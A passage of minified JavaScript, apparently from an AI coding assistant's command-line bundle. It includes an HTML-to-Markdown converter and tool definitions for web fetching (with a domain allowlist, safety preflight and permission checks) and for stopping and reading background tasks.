K.linkStyle==="referenced"&&A.nodeName==="A"&&A.getAttribute("href")},replacement:function(A,K,q){var Y=K.getAttribute("href"),z=Zf1(K.getAttribute("title"));if(z)z=' "'+z+'"';var w,H;switch(q.linkReferenceStyle){case"collapsed":w="["+A+"][]",H="["+A+"]: "+Y+z;break;case"shortcut":w="["+A+"]",H="["+A+"]: "+Y+z;break;default:var J=this.references.length+1;w="["+A+"]["+J+"]",H="["+J+"]: "+Y+z}return this.references.push(H),w},references:[],append:function(A){var K="";if(this.references.length)K=` `+this.references.join(` `)+` `,this.references=[];return K}};Vj.emphasis={filter:["em","i"],replacement:function(A,K,q){if(!A.trim())return"";return q.emDelimiter+A+q.emDelimiter}};Vj.strong={filter:["strong","b"],replacement:function(A,K,q){if(!A.trim())return"";return q.strongDelimiter+A+q.strongDelimiter}};Vj.code={filter:function(A){var K=A.previousSibling||A.nextSibling,q=A.parentNode.nodeName==="PRE"&&!K;return A.nodeName==="CODE"&&!q},replacement:function(A){if(!A)return"";A=A.replace(/\r?\n|\r/g," ");var K=/^`|^ .*?[^ ].* $|`$/.test(A)?" ":"",q="`",Y=A.match(/`+/gm)||[];while(Y.indexOf(q)!==-1)q=q+"`";return q+K+A+K+q}};Vj.image={filter:"img",replacement:function(A,K){var q=Zf1(K.getAttribute("alt")),Y=K.getAttribute("src")||"",z=Zf1(K.getAttribute("title")),w=z?' "'+z+'"':"";return Y?"":""}};function Zf1(A){return A?A.replace(/(\n+\s*)+/g,` `):""}function W2K(A){this.options=A,this._keep=[],this._remove=[],this.blankRule={replacement:A.blankReplacement},this.keepReplacement=A.keepReplacement,this.defaultRule={replacement:A.defaultReplacement},this.array=[];for(var K in A.rules)this.array.push(A.rules[K])}W2K.prototype={add:function(A,K){this.array.unshift(K)},keep:function(A){this._keep.unshift({filter:A,replacement:this.keepReplacement})},remove:function(A){this._remove.unshift({filter:A,replacement:function(){return""}})},forNode:function(A){if(A.isBlank)return this.blankRule;var K;if(K=Cb6(this.array,A,this.options))return K;if(K=Cb6(this._keep,A,this.options))return K;if(K=Cb6(this._remove,A,this.options))return K;return this.defaultRule},forEach:function(A){for(var K=0;K<this.array.length;K++)A(this.array[K],K)}};function Cb6(A,K,q){for(var Y=0;Y<A.length;Y++){var z=A[Y];if(gv2(z,K,q))return z}return}function gv2(A,K,q){var Y=A.filter;if(typeof Y==="string"){if(Y===K.nodeName.toLowerCase())return!0}else if(Array.isArray(Y)){if(Y.indexOf(K.nodeName.toLowerCase())>-1)return!0}else if(typeof Y==="function"){if(Y.call(A,K,q))return!0}else throw TypeError("`filter` needs to be a string, array, or function")}function Fv2(A){var{element:K,isBlock:q,isVoid:Y}=A,z=A.isPre||function(_){return _.nodeName==="PRE"};if(!K.firstChild||z(K))return;var w=null,H=!1,J=null,O=O2K(J,K,z);while(O!==K){if(O.nodeType===3||O.nodeType===4){var X=O.data.replace(/[ \r\n\t]+/g," ");if((!w||/ $/.test(w.data))&&!H&&X[0]===" ")X=X.substr(1);if(!X){O=Lb6(O);continue}O.data=X,w=O}else if(O.nodeType===1){if(q(O)||O.nodeName==="BR"){if(w)w.data=w.data.replace(/ $/,"");w=null,H=!1}else if(Y(O)||z(O))w=null,H=!0;else if(w)H=!1}else{O=Lb6(O);continue}var $=O2K(J,O,z);J=O,O=$}if(w){if(w.data=w.data.replace(/ $/,""),!w.data)Lb6(w)}}function Lb6(A){var K=A.nextSibling||A.parentNode;return A.parentNode.removeChild(A),K}function O2K(A,K,q){if(A&&A.parentNode===K||q(K))return K.nextSibling||K.parentNode;return K.firstChild||K.nextSibling||K.parentNode}var D2K=typeof window<"u"?window:{};function Qv2(){var A=D2K.DOMParser,K=!1;try{if(new A().parseFromString("","text/html"))K=!0}catch(q){}return K}function Uv2(){var A=function(){};{var K=J2K();A.prototype.parseFromString=function(q){return K.createDocument(q)}}return A}var pv2=Qv2()?D2K.DOMParser:Uv2();function dv2(A,K){var q;if(typeof A==="string"){var Y=cv2().parseFromString('<x-turndown id="turndown-root">'+A+"</x-turndown>","text/html");q=Y.getElementById("turndown-root")}else q=A.cloneNode(!0);return Fv2({element:q,isBlock:Ib6,isVoid:_2K,isPre:K.preformattedCode?lv2:null}),q}var Rb6;function cv2(){return Rb6=Rb6||new pv2,Rb6}function lv2(A){return A.nodeName==="PRE"||A.nodeName==="CODE"}function iv2(A,K){return A.isBlock=Ib6(A),A.isCode=A.nodeName==="CODE"||A.parentNode.isCode,A.isBlank=nv2(A),A.flankingWhitespace=rv2(A,K),A}function nv2(A){return!_2K(A)&&!Bv2(A)&&/^\s*$/i.test(A.textContent)&&!uv2(A)&&!mv2(A)}function rv2(A,K){if(A.isBlock||K.preformattedCode&&A.isCode)return{leading:"",trailing:""};var q=ov2(A.textContent);if(q.leadingAscii&&X2K("left",A,K))q.leading=q.leadingNonAscii;if(q.trailingAscii&&X2K("right",A,K))q.trailing=q.trailingNonAscii;return{leading:q.leading,trailing:q.trailing}}function ov2(A){var K=A.match(/^(([ \t\r\n]*)(\s*))(?:(?=\S)[\s\S]*\S)?((\s*?)([ \t\r\n]*))$/);return{leading:K[1],leadingAscii:K[2],leadingNonAscii:K[3],trailing:K[4],trailingNonAscii:K[5],trailingAscii:K[6]}}function X2K(A,K,q){var Y,z,w;if(A==="left")Y=K.previousSibling,z=/ $/;else Y=K.nextSibling,z=/^ /;if(Y){if(Y.nodeType===3)w=z.test(Y.nodeValue);else if(q.preformattedCode&&Y.nodeName==="CODE")w=!1;else if(Y.nodeType===1&&!Ib6(Y))w=z.test(Y.textContent)}return w}var av2=Array.prototype.reduce,sv2=[[/\\/g,"\\\\"],[/\*/g,"\\*"],[/^-/g,"\\-"],[/^\+ /g,"\\+ "],[/^(=+)/g,"\\$1"],[/^(#{1,6}) /g,"\\$1 "],[/`/g,"\\`"],[/^~~~/g,"\\~~~"],[/\[/g,"\\["],[/\]/g,"\\]"],[/^>/g,"\\>"],[/_/g,"\\_"],[/^(\d+)\. /g,"$1\\. "]];function Wf1(A){if(!(this instanceof Wf1))return new Wf1(A);var K={rules:Vj,headingStyle:"setext",hr:"* * *",bulletListMarker:"*",codeBlockStyle:"indented",fence:"```",emDelimiter:"_",strongDelimiter:"**",linkStyle:"inlined",linkReferenceStyle:"full",br:" ",preformattedCode:!1,blankReplacement:function(q,Y){return Y.isBlock?` `:""},keepReplacement:function(q,Y){return Y.isBlock?` `+Y.outerHTML+` `:Y.outerHTML},defaultReplacement:function(q,Y){return Y.isBlock?` `+q+` `:q}};this.options=Sv2({},K,A),this.rules=new W2K(this.options)}Wf1.prototype={turndown:function(A){if(!AE2(A))throw TypeError(A+" is not a string, or an element/document/fragment node.");if(A==="")return"";var K=j2K.call(this,new dv2(A,this.options));return tv2.call(this,K)},use:function(A){if(Array.isArray(A))for(var K=0;K<A.length;K++)this.use(A[K]);else if(typeof A==="function")A(this);else throw TypeError("plugin must be a Function or an Array of Functions");return this},addRule:function(A,K){return this.rules.add(A,K),this},keep:function(A){return this.rules.keep(A),this},remove:function(A){return this.rules.remove(A),this},escape:function(A){return sv2.reduce(function(K,q){return K.replace(q[0],q[1])},A)}};function j2K(A){var K=this;return av2.call(A.childNodes,function(q,Y){Y=new iv2(Y,K.options);var z="";if(Y.nodeType===3)z=Y.isCode?Y.nodeValue:K.escape(Y.nodeValue);else if(Y.nodeType===1)z=ev2.call(K,Y);return M2K(q,z)},"")}function tv2(A){var K=this;return this.rules.forEach(function(q){if(typeof q.append==="function")A=M2K(A,q.append(K.options))}),A.replace(/^[\t\r\n]+/,"").replace(/[\t\r\n\s]+$/,"")}function ev2(A){var K=this.rules.forNode(A),q=j2K.call(this,A),Y=A.flankingWhitespace;if(Y.leading||Y.trailing)q=q.trim();return Y.leading+K.replacement(q,A,this.options)+Y.trailing}function M2K(A,K){var q=bv2(A),Y=hv2(K),z=Math.max(A.length-q.length,K.length-Y.length),w=` `.substring(0,z);return q+w+Y}function AE2(A){return A!=null&&(typeof A==="string"||A.nodeType&&(A.nodeType===1||A.nodeType===9||A.nodeType===11))}P2K.exports=Wf1});var Df1;var hb6=k(()=>{Df1=new Set(["platform.claude.com","code.claude.com","modelcontextprotocol.io","github.com/anthropics","agentskills.io","docs.python.org","en.cppreference.com","docs.oracle.com","learn.microsoft.com","developer.mozilla.org","go.dev","pkg.go.dev","www.php.net","docs.swift.org","kotlinlang.org","ruby-doc.org","doc.rust-lang.org","www.typescriptlang.org","react.dev","angular.io","vuejs.org","nextjs.org","expressjs.com","nodejs.org","bun.sh","jquery.com","getbootstrap.com","tailwindcss.com","d3js.org","threejs.org","redux.js.org","webpack.js.org","jestjs.io","reactrouter.com","docs.djangoproject.com","flask.palletsprojects.com","fastapi.tiangolo.com","pandas.pydata.org","numpy.org","www.tensorflow.org","pytorch.org","scikit-learn.org","matplotlib.org","requests.readthedocs.io","jupyter.org","laravel.com","symfony.com","wordpress.org","docs.spring.io","hibernate.org","tomcat.apache.org","gradle.org","maven.apache.org","asp.net","dotnet.microsoft.com","nuget.org","blazor.net","reactnative.dev","docs.flutter.dev","developer.apple.com","developer.android.com","keras.io","spark.apache.org","huggingface.co","www.kaggle.com","www.mongodb.com","redis.io","www.postgresql.org","dev.mysql.com","www.sqlite.org","graphql.org","prisma.io","docs.aws.amazon.com","cloud.google.com","learn.microsoft.com","kubernetes.io","www.docker.com","www.terraform.io","www.ansible.com","vercel.com/docs","docs.netlify.com","devcenter.heroku.com/","cypress.io","selenium.dev","docs.unity.com","docs.unrealengine.com","git-scm.com","nginx.org","httpd.apache.org"])});function T2K(A){try{let K=new URL(A),q=K.hostname,Y=K.pathname;for(let z of Df1)if(z.includes("/")){let[w,...H]=z.split("/"),J="/"+H.join("/");if(q===w&&Y.startsWith(J))return!0}else if(q===z)return!0;return!1}catch{return!1}}function wE2(A){if(A.length>YE2)return!1;let K;try{K=new URL(A)}catch{return!1}if(K.username||K.password)return!1;if(K.hostname.split(".").length<2)return!1;return!0}async function HE2(A){try{let K=await A8.get(`https://api.anthropic.com/api/web/domain_info?domain=${encodeURIComponent(A)}`);if(K.status===200)return K.data.can_fetch===!0?{status:"allowed"}:{status:"blocked"};return{status:"check_failed",error:Error(`Domain check returned status ${K.status}`)}}catch(K){return KA(K),{status:"check_failed",error:K}}}function JE2(A,K){try{let q=new URL(A),Y=new URL(K);if(Y.protocol!==q.protocol)return!1;if(Y.port!==q.port)return!1;if(Y.username||Y.password)return!1;let z=(J)=>J.replace(/^www\./,""),w=z(q.hostname),H=z(Y.hostname);return w===H}catch(q){return!1}}async function v2K(A,K,q){try{return await A8.get(A,{signal:K,maxRedirects:0,responseType:"arraybuffer",maxContentLength:zE2,headers:{Accept:"text/markdown, text/html, */*"}})}catch(Y){if(A8.isAxiosError(Y)&&Y.response&&[301,302,307,308].includes(Y.response.status)){let z=Y.response.headers.location;if(!z)throw Error("Redirect missing Location header");let w=new URL(z,A).toString();if(q(A,w))return v2K(w,K,q);else return{type:"redirect",originalUrl:A,redirectUrl:w,statusCode:Y.response.status}}throw Y}}function OE2(A){return"type"in A&&A.type==="redirect"}async function E2K(A,K){if(!wE2(A))throw Error("Invalid URL");let q=f2K.get(A);if(q)return{bytes:q.bytes,code:q.code,codeText:q.codeText,content:q.content,contentType:q.contentType};let Y,z=A;try{if(Y=new URL(A),Y.protocol==="http:")Y.protocol="https:",z=Y.toString();let $=Y.hostname;if(!J8().skipWebFetchPreflight)switch((await HE2($)).status){case"allowed":break;case"blocked":throw new bb6($);case"check_failed":throw new xb6($)}}catch($){if(KA($),$ instanceof bb6||$ instanceof xb6)throw $}let w=await v2K(z,K.signal,JE2);if(OE2(w))return w;let H=Buffer.from(w.data).toString("utf-8"),J=w.headers["content-type"]??"",O=Buffer.byteLength(H),X;if(J.includes("text/html"))X=new N2K.default().turndown(H);else X=H;return f2K.set(A,{bytes:O,code:w.status,codeText:w.statusText,content:X,contentType:J}),{code:w.status,codeText:w.statusText,content:X,contentType:J,bytes:O}}async function k2K(A,K,q,Y,z){let w=K.length>jf1?K.slice(0,jf1)+` [Content truncated due to length...]`:K,H=Ex8(w,A,z),J=await D$({systemPrompt:[],userPrompt:H,signal:q,options:{querySource:"web_fetch_apply",agents:[],isNonInteractiveSession:Y,hasAppendSystemPrompt:!1,mcpTools:[]}});if(q.aborted)throw new y2;let{content:O}=J.message;if(O.length>0){let X=O[0];if("text"in X)return X.text}return"No response from model"}var N2K,bb6,xb6,KE2=900000,qE2=52428800,f2K,YE2=2000,zE2=10485760,jf1=1e5;var C2K=k(()=>{n3();$yA();sz();l1();iw();C1();I8();hb6();N2K=o(V2K(),1);bb6=class bb6 extends Error{constructor(A){super(`Claude Code is unable to fetch from ${A}`);this.name="DomainBlockedError"}};xb6=class xb6 extends Error{constructor(A){super(`Unable to verify if domain ${A} is safe to fetch. This may be due to network restrictions or enterprise security policies blocking claude.ai.`);this.name="DomainCheckFailedError"}};f2K=new Ty({maxSize:qE2,sizeCalculation:(A)=>Buffer.byteLength(A.content),ttl:KE2})});function L2K({url:A,prompt:K},{verbose:q}){if(!A)return null;if(q)return`url: "${A}"${q&&K?`, prompt: "${K}"`:""}`;return A}function R2K(){return KN.default.createElement(u9,null)}function y2K(A,{verbose:K}){return KN.default.createElement(C3,{result:A,verbose:K})}function I2K(){return KN.default.createElement(k6,{height:1},KN.default.createElement(V,{dimColor:!0},"Fetching…"))}function S2K({bytes:A,code:K,codeText:q,result:Y},z,{verbose:w}){let H=c0(A);if(w)return KN.default.createElement(S,{flexDirection:"column"},KN.default.createElement(k6,{height:1},KN.default.createElement(V,null,"Received ",KN.default.createElement(V,{bold:!0},H)," (",K," ",q,")")),KN.default.createElement(S,{flexDirection:"column"},KN.default.createElement(V,null,Y)));return KN.default.createElement(k6,{height:1},KN.default.createElement(V,null,"Received ",KN.default.createElement(V,{bold:!0},H)," (",K," ",q,")"))}function ub6(A){if(!A?.url)return null;return a9(A.url,CI)}var KN;var h2K=k(()=>{mA();Eq();__();J0();YK();KN=o($A(),1)});function _E2(A){try{let K=aG.inputSchema.safeParse(A);if(!K.success)return`input:${A.toString()}`;let{url:q}=K.data;return`domain:${new URL(q).hostname}`}catch{return`input:${A.toString()}`}}function b2K(A){return[{type:"addRules",destination:"localSettings",rules:[{toolName:wO,ruleContent:A}],behavior:"allow"}]}var XE2,$E2,aG;var rMA=k(()=>{z7();ao();C2K();S2();hb6();h2K();XE2=U.strictObject({url:U.string().url().describe("The URL to fetch content from"),prompt:U.string().describe("The prompt to run on the fetched content")}),$E2=U.object({bytes:U.number().describe("Size of the fetched content in bytes"),code:U.number().describe("HTTP response code"),codeText:U.string().describe("HTTP response code text"),result:U.string().describe("Processed result from applying the prompt to the content"),durationMs:U.number().describe("Time taken to fetch and process the content"),url:U.string().describe("The URL that was fetched")});aG={name:wO,maxResultSizeChars:1e5,async description(A){let{url:K}=A;try{return`Claude wants to fetch content from ${new URL(K).hostname}`}catch{return"Claude wants to fetch content from this URL"}},userFacingName(){return"Fetch"},getToolUseSummary:ub6,getActivityDescription(A){let K=ub6(A);return K?`Fetching ${K}`:"Fetching web page"},isEnabled(){return!0},inputSchema:XE2,outputSchema:$E2,isConcurrencySafe(){return!0},isReadOnly(){return!0},async checkPermissions(A,K){let Y=(await K.getAppState()).toolPermissionContext;try{let{url:O}=A,X=new URL(O),$=X.hostname,_=X.pathname;for(let G of Df1)if(G.includes("/")){let[Z,...W]=G.split("/"),D="/"+W.join("/");if($===Z&&_.startsWith(D))return{behavior:"allow",updatedInput:A,decisionReason:{type:"other",reason:"Preapproved host and path"}}}else if($===G)return{behavior:"allow",updatedInput:A,decisionReason:{type:"other",reason:"Preapproved host"}}}catch{}let z=_E2(A),w=QS(Y,aG,"deny").get(z);if(w)return{behavior:"deny",message:`${aG.name} denied access to ${z}.`,decisionReason:{type:"rule",rule:w}};let H=QS(Y,aG,"ask").get(z);if(H)return{behavior:"ask",message:`Claude requested permissions to use ${aG.name}, but you haven't granted it yet.`,decisionReason:{type:"rule",rule:H},suggestions:b2K(z)};let J=QS(Y,aG,"allow").get(z);if(J)return{behavior:"allow",updatedInput:A,decisionReason:{type:"rule",rule:J}};return{behavior:"ask",message:`Claude requested permissions to use ${aG.name}, but you haven't granted it yet.`,suggestions:b2K(z)}},async prompt({tools:A}){if(A.some((K)=>K.name===sZ))return`IMPORTANT: WebFetch WILL FAIL for authenticated or private URLs. Before using this tool, check if the URL points to an authenticated service (e.g. Google Docs, Confluence, Jira, GitHub). If so, you MUST use ${sZ} first to find a specialized tool that provides authenticated access. ${Sc1}`;return Sc1},async validateInput(A){let{url:K}=A;try{new URL(K)}catch{return{result:!1,message:`Error: Invalid URL "${K}". The URL provided could not be parsed.`,meta:{reason:"invalid_url"},errorCode:1}}return{result:!0}},renderToolUseMessage:L2K,renderToolUseRejectedMessage:R2K,renderToolUseErrorMessage:y2K,renderToolUseProgressMessage:I2K,renderToolResultMessage:S2K,async call({url:A,prompt:K},{abortController:q,options:{isNonInteractiveSession:Y}}){let z=Date.now(),w=await E2K(A,q);if("type"in w&&w.type==="redirect"){let W=w.statusCode===301?"Moved Permanently":w.statusCode===308?"Permanent Redirect":w.statusCode===307?"Temporary Redirect":"Found",D=`REDIRECT DETECTED: The URL redirects to a different host. Original URL: ${w.originalUrl} Redirect URL: ${w.redirectUrl} Status: ${w.statusCode} ${W} To complete your request, I need to fetch content from the redirected URL. Please use WebFetch again with these parameters: - url: "${w.redirectUrl}" - prompt: "${K}"`;return{data:{bytes:Buffer.byteLength(D),code:w.statusCode,codeText:W,result:D,durationMs:Date.now()-z,url:A}}}let{content:H,bytes:J,code:O,codeText:X,contentType:$}=w,_=T2K(A),G;if(_&&$.includes("text/markdown")&&H.length<jf1)G=H;else G=await k2K(K,H,q.signal,Y,_);return{data:{bytes:J,code:O,codeText:X,result:G,durationMs:Date.now()-z,url:A}}},mapToolResultToToolResultBlockParam({result:A},K){return{tool_use_id:K,type:"tool_result",content:A}}}});function x2K({task_id:A,shell_id:K}){let q=A??K;if(!q)return null;return q}function u2K(){return null}function B2K(){return oMA.default.createElement(u9,null)}function m2K(A,{verbose:K}){return oMA.default.createElement(C3,{result:A,verbose:K})}function g2K(A){return oMA.default.createElement(S,null,oMA.default.createElement(V,null," ⎿ "),oMA.default.createElement(V,null,"Task stopped"))}var oMA;var F2K=k(()=>{mA();__();J0();oMA=o($A(),1)});var GE2,ZE2,Mf1;var Bb6=k(()=>{z7();mb6();F2K();b1();GE2=U.strictObject({task_id:U.string().optional().describe("The ID of the background task to stop"),shell_id:U.string().optional().describe("Deprecated: use task_id instead")}),ZE2=U.object({message:U.string().describe("Status message about the operation"),task_id:U.string().describe("The ID of the task that was stopped"),task_type:U.string().describe("The type of the task that was stopped")}),Mf1={name:JgA,aliases:["KillShell"],maxResultSizeChars:1e5,userFacingName:()=>"Stop Task",inputSchema:GE2,outputSchema:ZE2,isEnabled(){return!0},isConcurrencySafe(){return!0},isReadOnly(){return!1},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},async validateInput({task_id:A,shell_id:K},{getAppState:q}){let Y=A??K;if(!Y)return{result:!1,message:"Missing required parameter: task_id",errorCode:1};let w=(await q()).tasks?.[Y];if(!w)return{result:!1,message:`No task found with ID: ${Y}`,errorCode:1};if(!uUA(w.type))return{result:!1,message:`Task ${Y} has unsupported type: ${w.type}`,errorCode:2};if(w.status!=="running")return{result:!1,message:`Task ${Y} is not running (status: ${w.status})`,errorCode:3};return{result:!0}},async description(){return"Stop a running background task by ID"},async prompt(){return Fy7},mapToolResultToToolResultBlockParam(A,K){return{tool_use_id:K,type:"tool_result",content:UA(A)}},renderToolUseMessage:x2K,renderToolUseProgressMessage:u2K,renderToolUseRejectedMessage:B2K,renderToolUseErrorMessage:m2K,renderToolResultMessage:g2K,async call({task_id:A,shell_id:K},{getAppState:q,setAppState:Y,abortController:z}){let w=A??K;if(!w)throw Error("Missing required parameter: task_id");let J=(await q()).tasks?.[w];if(!J)throw Error(`No task found with ID: ${w}`);if(J.status!=="running")throw Error(`Task ${w} is not running, so cannot be stopped (status: ${J.status})`);let O=uUA(J.type);if(!O)throw Error(`Unsupported task type: ${J.type}`);return await O.kill(w,{abortController:z,getAppState:q,setAppState:Y}),Y((X)=>{let $=X.tasks[w];if(!$||$.notified)return X;return{...X,tasks:{...X.tasks,[w]:{...$,notified:!0}}}}),{data:{message:`Successfully stopped task: ${w} (${J.description})`,task_id:w,task_type:J.type}}}}});function WE2(){let A=bn6.validate(process.env.TASK_MAX_OUTPUT_LENGTH);if(A.status==="capped")h(`TASK_MAX_OUTPUT_LENGTH ${A.message}`);return A.effective}function BUA(A,K){let q=WE2();if(A.length<=q)return{content:A,wasTruncated:!1};let z=`[Truncated. Full output: ${Ew(K)}] `,w=q-z.length,H=A.slice(-w);return{content:z+H,wasTruncated:!0}}var gb6=k(()=>{kNA();rM();Z1()});function Pf1(A){let K=W_1(A.id),q={task_id:A.id,task_type:A.type,status:A.status,description:A.description,output:K};if(A.type==="local_bash")return{...q,exitCode:A.result?.code??null};if(A.type==="local_agent"){let Y=A;return{...q,prompt:Y.prompt,result:K,error:Y.error}}if(A.type==="remote_agent")return{...q,prompt:A.command};return q}async function jE2(A,K,q,Y){let z=Date.now();while(Date.now()-z<q){if(Y?.signal.aborted)throw new y2;let J=(await K()).tasks?.[A];if(!J)return null;if(J.status!=="running"&&J.status!=="pending")return J;await new Promise((O)=>setTimeout(O,100))}return(await K()).tasks?.[A]??null}function ME2(A){let K=s(56),{content:q,verbose:Y,theme:z}=A,w=Y===void 0?!1:Y,H=cK("app:toggleTranscript","Global","ctrl+o"),J;if(K[0]!==q)J=typeof q==="string"?G6(q):q,K[0]=q,K[1]=J;else J=K[1];let O=J;if(!O.task){let Z;if(K[2]===Symbol.for("react.memo_cache_sentinel"))Z=w9.default.createElement(k6,null,w9.default.createElement(V,{dimColor:!0},"No task output available")),K[2]=Z;else Z=K[2];return Z}let{task:X}=O;if(X.task_type==="local_bash"){let Z;if(K[3]!==X.error||K[4]!==X.output)Z={stdout:X.output,stderr:"",isImage:!1,dangerouslyDisableSandbox:!0,returnCodeInterpretation:X.error},K[3]=X.error,K[4]=X.output,K[5]=Z;else Z=K[5];let W=Z,D;if(K[6]!==W||K[7]!==w)D=w9.default.createElement(v3A,{content:W,verbose:w}),K[6]=W,K[7]=w,K[8]=D;else D=K[8];return D}if(X.task_type==="local_agent"){let Z;if(K[9]!==X.result)Z=X.result?X.result.split(` `).length:0,K[9]=X.result,K[10]=Z;else Z=K[10];let W=Z;if(O.retrieval_status==="success"){if(w){let M;if(K[11]!==W||K[12]!==X.description)M=w9.default.createElement(V,null,X.description," (",W," lines)"),K[11]=W,K[12]=X.description,K[13]=M;else M=K[13];let P;if(K[14]!==X.prompt||K[15]!==z)P=X.prompt&&w9.default.createElement(SQA,{prompt:X.prompt,theme:z,dim:!0}),K[14]=X.prompt,K[15]=z,K[16]=P;else P=K[16];let f;if(K[17]!==X.result||K[18]!==z)f=X.result&&w9.default.createElement(S,{marginTop:1},w9.default.createElement(HI6,{content:[{type:"text",text:X.result}],theme:z})),K[17]=X.result,K[18]=z,K[19]=f;else f=K[19];let N;if(K[20]!==X.error)N=X.error&&w9.default.createElement(S,{flexDirection:"column",marginTop:1},w9.default.createElement(V,{color:"error",bold:!0},"Error:"),w9.default.createElement(S,{paddingLeft:2},w9.default.createElement(V,{color:"error"},X.error))),K[20]=X.error,K[21]=N;else N=K[21];let T;if(K[22]!==P||K[23]!==f||K[24]!==N)T=w9.default.createElement(S,{flexDirection:"column",paddingLeft:2,marginTop:1},P,f,N),K[22]=P,K[23]=f,K[24]=N,K[25]=T;else T=K[25];let C;if(K[26]!==M||K[27]!==T)C=w9.default.createElement(S,{flexDirection:"column"},M,T),K[26]=M,K[27]=T,K[28]=C;else C=K[28];return C}let j;if(K[29]!==H)j=w9.default.createElement(k6,null,w9.default.createElement(V,{dimColor:!0},"Read output (",H," to expand)")),K[29]=H,K[30]=j;else j=K[30];return j}if(O.retrieval_status==="timeout"||X.status==="running"){let j;if(K[31]===Symbol.for("react.memo_cache_sentinel"))j=w9.default.createElement(k6,null,w9.default.createElement(V,{dimColor:!0},"Task is still running…")),K[31]=j;else j=K[31];return j}if(O.retrieval_status==="not_ready"){let j;if(K[32]===Symbol.for("react.memo_cache_sentinel"))j=w9.default.createElement(k6,null,w9.default.createElement(V,{dimColor:!0},"Task is still running…")),K[32]=j;else j=K[32];return j}let D;if(K[33]===Symbol.for("react.memo_cache_sentinel"))D=w9.default.createElement(k6,null,w9.default.createElement(V,{dimColor:!0},"Task not ready")),K[33]=D;else D=K[33];return D}if(X.task_type==="remote_agent"){let Z;if(K[34]!==X.description||K[35]!==X.status)Z=w9.default.createElement(V,null," ",X.description," [",X.status,"]"),K[34]=X.description,K[35]=X.status,K[36]=Z;else Z=K[36];let W;if(K[37]!==X.output||K[38]!==w)W=X.output&&w&&w9.default.createElement(S,{paddingLeft:4,marginTop:1},w9.default.createElement(V,null,X.output)),K[37]=X.output,K[38]=w,K[39]=W;else W=K[39];let D;if(K[40]!==H||K[41]!==X.output||K[42]!==w)D=!w&&X.output&&w9.default.createElement(V,{dimColor:!0}," ","(",H," to expand)"),K[40]=H,K[41]=X.output,K[42]=w,K[43]=D;else D=K[43];let j;if(K[44]!==Z||K[45]!==W||K[46]!==D)j=w9.default.createElement(S,{flexDirection:"column"},Z,W,D),K[44]=Z,K[45]=W,K[46]=D,K[47]=j;else j=K[47];return j}let $;if(K[48]!==X.description||K[49]!==X.status)$=w9.default.createElement(V,null," ",X.description," [",X.status,"]"),K[48]=X.description,K[49]=X.status,K[50]=$;else $=K[50];let _;if(K[51]!==X.output)_=X.output&&w9.default.createElement(S,{paddingLeft:4},w9.default.createElement(V,null,X.output.slice(0,500))),K[51]=X.output,K[52]=_;else _=K[52];let G;if(K[53]!==$||K[54]!==_)G=w9.default.createElement(S,{flexDirection:"column"},$,_),K[53]=$,K[54]=_,K[55]=G;else G=K[55];return G}var w9,DE2,Vf1;var Fb6=k(()=>{cA();z7();mA();iw();__();J0();Eq();rM();cI();HP1();vP1();b1();gb6();Vz();w9=o($A(),1),DE2=U.strictObject({task_id:U.string().describe("The task ID to get output from"),block:U.boolean().default(!0).describe("Whether to wait for completion"),timeout:U.number().min(0).max(600000).default(30000).describe("Max wait time in ms")});Vf1={name:YDA,maxResultSizeChars:1e5,aliases:["AgentOutputTool","BashOutputTool"],userFacingName(){return"Task Output"},inputSchema:DE2,async description(){return"Retrieves output from a running or completed task"},isConcurrencySafe(A){return this.isReadOnly(A)},isEnabled(){return!0},isReadOnly(A){return!0},async checkPermissions(A,K){return{behavior:"allow",updatedInput:A}},async prompt(){return`- Retrieves output from a running or completed task (background shell, agent, or remote session) - Takes a task_id parameter identifying the task - Returns the task output along with status information - Use block=true (default) to wait for task completion - Use block=false for non-blocking check of current status - Task IDs can be found using the /tasks command - Works with all task types: background shells, async agents, and remote sessions`},async validateInput({task_id:A},{getAppState:K}){if(!A)return{result:!1,message:"Task ID is required",errorCode:1};if(!(await K()).tasks?.[A])return{result:!1,message:`No task found with ID: ${A}`,errorCode:2};return{result:!0}},async call(A,K,q,Y,z){let{task_id:w,block:H,timeout:J}=A,X=(await K.getAppState()).tasks?.[w];if(!X)throw Error(`No task found with ID: ${w}`);if(!H){if(X.status!=="running"&&X.status!=="pending")return eY(w,K.setAppState,(_)=>({..._,notified:!0})),{data:{retrieval_status:"success",task:Pf1(X)}};return{data:{retrieval_status:"not_ready",task:Pf1(X)}}}if(z)z({toolUseID:`task-output-waiting-${Date.now()}`,data:{type:"waiting_for_task",taskDescription:X.description,taskType:X.type}});let $=await jE2(w,K.getAppState,J,K.abortController);if(!$)return{data:{retrieval_status:"timeout",task:null}};if($.status==="running"||$.status==="pending")return{data:{retrieval_status:"timeout",task:Pf1($)}};return eY(w,K.setAppState,(_)=>({..._,notified:!0})),{data:{retrieval_status:"success",task:Pf1($)}}},mapToolResultToToolResultBlockParam(A,K){let q=[];if(q.push(`<retrieval_status>${A.retrieval_status}</retrieval_status>`),A.task){if(q.push(`<task_id>${A.task.task_id}</task_id>`),q.push(`<task_type>${A.task.task_type}</task_type>`),q.push(`<status>${A.task.status}</status>`),A.task.exitCode!==void 0&&A.task.exitCode!==null)q.push(`<exit_code>${A.task.exitCode}</exit_code>`);if(A.task.output?.trim()){let{content:Y}=BUA(A.task.output,A.task.task_id);q.push(`<output> ${Y.trimEnd()} </output>`)}if(A.task.error)q.push(`<error>${A.task.error}</error>`)}return{tool_use_id:K,type:"tool_result",content:q.join(` `)}},renderToolUseMessage(A){let{block:K=!0}=A;if(!K)return"non-blocking";return""},renderToolUseTag(A){if(!A.task_id)return null;return w9.default.createElement(V,{dimColor:!0}," ",A.task_id)},renderToolUseProgressMessage(A){let q=A[A.length-1]?.data;return w9.default.createElement(S,{flexDirection:"column"},q?.taskDescription&&w9.default.createElement(V,null," ",q.taskDescription),w9.default.createElement(V,null," Waiting for task"," ",w9.default.createElement(V,{dimColor:!0},"(esc to give additional instructions)")))},renderToolResultMessage(A,K,{verbose:q,theme:Y}){return w9.default.createElement(ME2,{content:A,verbose:q,theme:Y})},renderToolUseRejectedMessage(){return w9.default.createElement(u9,null)},renderToolUseErrorMessage(A,{verbose:K}){return w9.default.createElement(C3,{result:A,verbose:K})}}});function PE2(A){let K=0,q=0;for(let Y of A)if(typeof Y!=="string")K++,q+=Y.content.length;return{searchCount:K,totalResultCount:q}}function Q2K({query:A,allowed_domains:K,blocked_domains:q},{verbose:Y}){if(!A)return null;let z="";if(A)z+=`"${A}"`;if(Y){if(K&&K.length>0)z+=`, only allowing domains: ${K.join(", ")}`;if(q&&q.length>0)z+=`, blocking domains: 